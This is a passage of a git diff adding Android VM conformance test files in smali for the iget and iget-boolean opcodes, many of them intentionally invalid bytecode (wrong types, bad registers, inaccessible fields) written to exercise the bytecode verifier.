+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.smali
new file mode 100644
index 0000000..deb236f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_21.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/TestStubs;-><init>()V
+
+       iget v1, v0, Ldot/junit/opcodes/iget/TestStubs;->TestStubProtectedField:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.smali
new file mode 100644
index 0000000..245f41d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_3.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v3, v2, Ldot/junit/opcodes/iget/d/T_iget_3;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.smali
new file mode 100644
index 0000000..0c672ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_30.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget/d/T_iget_30;
+    iget v1, v0, Ldot/junit/opcodes/iget/d/T_iget_30;->st_i1:I
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.smali
new file mode 100644
index 0000000..0f0b38a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_31.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget/d/T_iget_31;->st_i1:I
+    return v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.smali
new file mode 100644
index 0000000..f7fd9e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_35.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 2
+       iget v0, v1, Ldot/junit/opcodes/iget/TestStubs;->TestStubProtectedField:I
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.smali
new file mode 100644
index 0000000..9aff9c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_4.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_4;->i1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.smali
new file mode 100644
index 0000000..4cc1c50
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_5.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_5;->i1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.smali
new file mode 100644
index 0000000..f4bc9c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_6.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/TestStubs;-><init>()V
+
+       iget v1, v0, Ldot/junit/opcodes/iget/TestStubs;->TestStubField:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.smali
new file mode 100644
index 0000000..cdb5c1d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_7.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_7no_class;->i1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.smali
new file mode 100644
index 0000000..89e4eb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_8.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_8;->i1N:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.smali
new file mode 100644
index 0000000..3cb0e58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_9.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_9;
+.super  Ljava/lang/Object;
+
+.field public  val:F
+
+.method  constructor static <clinit>()V
+.registers 2
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()F
+.registers 4
+
+       const v0, 0
+       iget v1, v0, Ldot/junit/opcodes/iget/d/T_iget_9;->val:F
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.smali
new file mode 100644
index 0000000..0d79556
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.smali

@@ -0,0 +1,48 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_1.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+.field protected  p1:Z
+.field private  pvt1:Z
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const/4 v0, 1
+       iput-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->i1:Z
+
+       const/16 v0, 1
+       iput-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->p1:Z
+
+       const/16 v0, 1
+       iput-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->pvt1:Z
+       
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->i1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.smali
new file mode 100644
index 0000000..35b9f19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_11.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_11;
+.super  Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->p1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.smali
new file mode 100644
index 0000000..e9122eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_12.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_12;
+.super  Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->pvt1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.smali
new file mode 100644
index 0000000..0214be4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_13.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_13;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.smali
new file mode 100644
index 0000000..c17fa98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_15.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.smali
new file mode 100644
index 0000000..9366295
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_16.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.smali
new file mode 100644
index 0000000..bc997e3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_17.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_17;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.smali
new file mode 100644
index 0000000..5922b90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_18.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_18;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.smali
new file mode 100644
index 0000000..1838cc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_19.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.smali
new file mode 100644
index 0000000..2487c9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_20.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.smali
new file mode 100644
index 0000000..2eb6bb5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_21.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_21.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/TestStubs;-><init>()V
+
+       iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/TestStubs;->TestStubProtectedField:Z
+       return v1
+.end method
+
+

